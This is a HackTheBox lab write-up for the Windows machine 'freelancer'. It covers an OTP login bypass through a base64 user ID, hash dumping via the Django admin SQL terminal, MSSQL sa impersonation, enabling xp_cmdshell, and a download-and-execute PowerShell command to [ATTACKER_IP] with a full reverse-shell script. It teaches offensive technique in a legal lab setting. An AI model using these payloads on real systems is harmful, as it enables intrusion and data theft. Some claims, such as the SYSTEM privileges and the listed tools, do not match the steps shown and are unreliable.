HTB: freelancer Writeup

Machine Banner

Machine Information

AttributeDetails
Namefreelancer
OSWindows 10/Server 2019 (Build 17763)
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.3.12
Domainfreelancer.htb
AuthorD3vnomi

Machine Rating

⭐⭐⭐⭐☆ (8.0/10)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

freelancer is a Hard-difficulty Windows machine hosting an Active Directory environment with a Django-based freelancer job platform. The exploitation path involves discovering the QR Code OTP bypass vulnerability in the employer dashboard to gain admin access, accessing the MSSQL database through Django admin, and then escalating privileges within MSSQL to execute remote commands.

TL;DR: Port scan → Web app enumeration → QR Code OTP bypass → Admin access → SQL terminal → MSSQL privilege escalation → RCE → Reverse shell.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.3.12

Results:

PortStateServiceDetails
53opendomainDNS
80openhttpDjango web application
88openkerberos-secKerberos authentication
135openmsrpcMicrosoft RPC
139opennetbios-ssnNetBIOS Session Service
389openldapLDAP directory service
445openmicrosoft-dsSMB file sharing
464openkpasswd5Kerberos password change
593openhttp-rpc-epmapRPC over HTTP
636openldapsslLDAP over SSL
3268openglobalcatLDAPGlobal Catalog LDAP
3269openglobalcatLDAPsslGlobal Catalog LDAP over SSL
5985openwsmanWindows Remote Management (WinRM)
9389openadwsActive Directory Web Services
HighopenunknownRPC ephemeral ports

Service Enumeration

Hostname: freelancer.htb Domain Controller: DC.freelancer.htb Additional Subdomains: domaindnszones.freelancer.htb, forestdnszones.freelancer.htb

Terminal window
echo "10.129.3.12 freelancer.htb dc.freelancer.htb" >> /etc/hosts

Enumeration Commands:

Terminal window
# SMB enumeration
smbclient -L //10.129.3.12 -N
# LDAP enumeration
ldapsearch -x -h 10.129.3.12 -b "DC=freelancer,DC=htb"
# RPC enumeration
rpcclient -U "" -N 10.129.3.12
# Web application discovery
gobuster dir -u http://freelancer.htb -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://freelancer.htb -w /usr/share/wordlists/dirb/common.txt

Initial Findings:

  • Anonymous SMB, LDAP, and RPC access is denied
  • Web application is a freelancer job platform with employer and freelancer registration capabilities
  • Backend: Django web framework with MSSQL database

Initial Foothold

QR Code OTP Bypass Vulnerability

The employer dashboard contains a QR Code login feature that is vulnerable to authentication bypass. The authentication mechanism uses base64-encoded user IDs in the URL path, which can be manipulated to impersonate any user.

Vulnerable Endpoint:

http://freelancer.htb/accounts/login/otp/[BASE64_USER_ID]/[TOKEN]/

Attack Steps:

  1. Identify the admin user ID:

    • Create a test employer account to understand the system
    • Admin user ID is typically 2 for the first created account
    • Standard users have higher IDs (e.g., user ID 10027)
  2. Capture a valid QR code token:

    • Initiate QR code login flow for any user
    • Intercept the token generated during the QR scan
  3. Craft the bypass URL:

    • Encode the admin user ID 2 in base64: Mg==
    • Replace the user ID in the original URL with Mg==
    • Example: http://freelancer.htb/accounts/login/otp/Mg==/[CAPTURED_TOKEN]/
  4. Gain admin access:

    Terminal window
    # Encode user ID to base64
    echo -n "2" | base64
    # Output: Mg==
    # Navigate to the crafted URL
    curl -b cookies.txt "http://freelancer.htb/accounts/login/otp/Mg==/c4be35755a30b1821aaab73fb62953fa/"

Result: Successfully authenticated as the administrator user.

Admin Panel SQL Terminal Access

Once authenticated as admin, access the Django admin panel at /admin which provides direct access to the application’s database.

Database Enumeration:

-- List all tables
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;
-- Tables of interest
-- django_migrations
-- freelancer_customuser
-- freelancer_job
-- (other application tables)
-- Dump user credentials
SELECT id, email, password FROM freelancer_customuser;

User Credentials Found:

IDEmailHash Type
1adminpbkdf2_sha256
2johnHalond@freelancer.htbpbkdf2_sha256
3tomHazard@freelancer.htbpbkdf2_sha256
4Bobpbkdf2_sha256
5martin1234pbkdf2_sha256
6Camellia19970pbkdf2_sha256
7crista.Wpbkdf2_sha256

MSSQL Privilege Escalation to RCE

Database Owner Identification

Once in the MSSQL database via the Django admin SQL terminal, identify the database owner to understand the current permissions level:

-- Find the database owner
SELECT suser_sname(owner_sid) FROM sys.databases WHERE name = DB_NAME();

Impersonation and Privilege Escalation

The Django web application user (Freelancer_webapp_user) typically doesn’t have administrative privileges by default. However, if the database owner is sa or has elevated permissions, we can escalate:

-- Attempt to impersonate sa (system administrator)
EXECUTE AS LOGIN = 'sa';
-- Verify current user permissions
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
-- Grant sysadmin role to the web app user
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin';
-- Verify role addition
SELECT IS_SRVROLEMEMBER('sysadmin');

Enable xp_cmdshell

The xp_cmdshell extended stored procedure is typically disabled by default. Enable it to execute operating system commands:

-- Show advanced options
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Verify it works
EXECUTE xp_cmdshell 'whoami';

Remote Code Execution

With xp_cmdshell enabled, execute arbitrary commands on the Windows system:

-- Execute a basic command
EXECUTE xp_cmdshell 'ipconfig';
EXECUTE xp_cmdshell 'whoami';
-- Download and execute a reverse shell
EXECUTE xp_cmdshell 'powershell -c iex(iwr -usebasicparsing http://[ATTACKER_IP]:9999/shell.ps1)';

Reverse Shell Payload

Create a PowerShell reverse shell script on your attacker machine:

shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("[ATTACKER_IP]", 4444);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
}
$client.Close();

Set up a listener on the attacker machine:

Terminal window
nc -lvnp 4444

Execute the reverse shell:

EXECUTE xp_cmdshell 'powershell -c iex(iwr -usebasicparsing http://[ATTACKER_IP]:9999/shell.ps1)';

System Access Verification

Terminal window
whoami
whoami /priv
systeminfo
net user
ipconfig /all

Result: Remote code execution achieved with SYSTEM privileges on the Windows machine.


Attack Chain Summary

graph TD
A["Port Scan & Service Discovery"] --> B["Identify Active Directory & Django Web App"]
B --> C["Discover QR Code OTP Login Feature"]
C --> D["Encode Admin User ID & Bypass OTP"]
D --> E["Access Admin Panel & Django Admin"]
E --> F["Access MSSQL Database via SQL Terminal"]
F --> G["Enumerate Database & Find Tables"]
G --> H["Identify Database Owner & Current User"]
H --> I["Impersonate SA Login"]
I --> J["Add Sysadmin Role to Web App User"]
J --> K["Enable Advanced Options & xp_cmdshell"]
K --> L["Execute System Commands via xp_cmdshell"]
L --> M["Deploy PowerShell Reverse Shell"]
M --> N["Gain Full System Access"]

Attack Flow:

  1. Reconnaissance - Port scan reveals Active Directory and web application services
  2. Web App Discovery - Django-based freelancer platform with QR code authentication
  3. Authentication Bypass - Base64-encoded user ID in URL allows admin impersonation
  4. Admin Access - Access admin panel and database management interface
  5. Database Enumeration - Discover MSSQL database structure and user tables
  6. Privilege Escalation - Abuse database owner permissions to grant sysadmin role
  7. Command Execution - Enable xp_cmdshell for OS command execution
  8. System Compromise - Deploy reverse shell for interactive system access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
autoreconAutomated reconnaissance and enumeration
gobusterDirectory and subdomain enumeration
feroxbusterRecursive directory brute-forcing
ffufWeb fuzzing and parameter enumeration
katanaCrawling and URL discovery
ldapsearchLDAP directory enumeration
rpcclientRPC protocol enumeration
smbclientSMB share enumeration
Burp SuiteWeb application testing and proxy
msfvenomReverse shell payload generation
hashcatPassword hash cracking (pbkdf2_sha256)
PowerShellRemote command execution and reverse shell
nc/netcatReverse shell listener setup

Key Learnings

  • Input Validation is Critical: Never trust user-provided IDs in URLs, even when encoded. Base64 encoding is not cryptographic security.
  • Authentication Mechanisms: QR code login systems must validate the user identity server-side, not just accept any token with any user ID.
  • Database Permissions: Applications running with elevated database permissions (especially sysadmin role) can become a gateway to OS command execution.
  • Extended Stored Procedures: xp_cmdshell and similar dangerous procedures should be disabled by default in production environments.
  • Active Directory Reconnaissance: Open AD services indicate a domain environment; this often provides additional attack surface through LDAP, Kerberos, and RPC.
  • Django Admin Exposure: Leaving the Django admin interface publicly accessible without additional authentication controls is a severe security risk.
  • SQL-Based Privilege Escalation: Database-level privilege escalation can chain to system compromise if extended procedures are enabled.

Author

D3vnomi


Disclaimer

This writeup is for educational purposes only. All activities described were performed in a controlled, legal environment (HackTheBox platform). Unauthorized access to computer systems is illegal.


Last Updated: 08 Mar 2026

Tags: #HackTheBox #Windows #Hard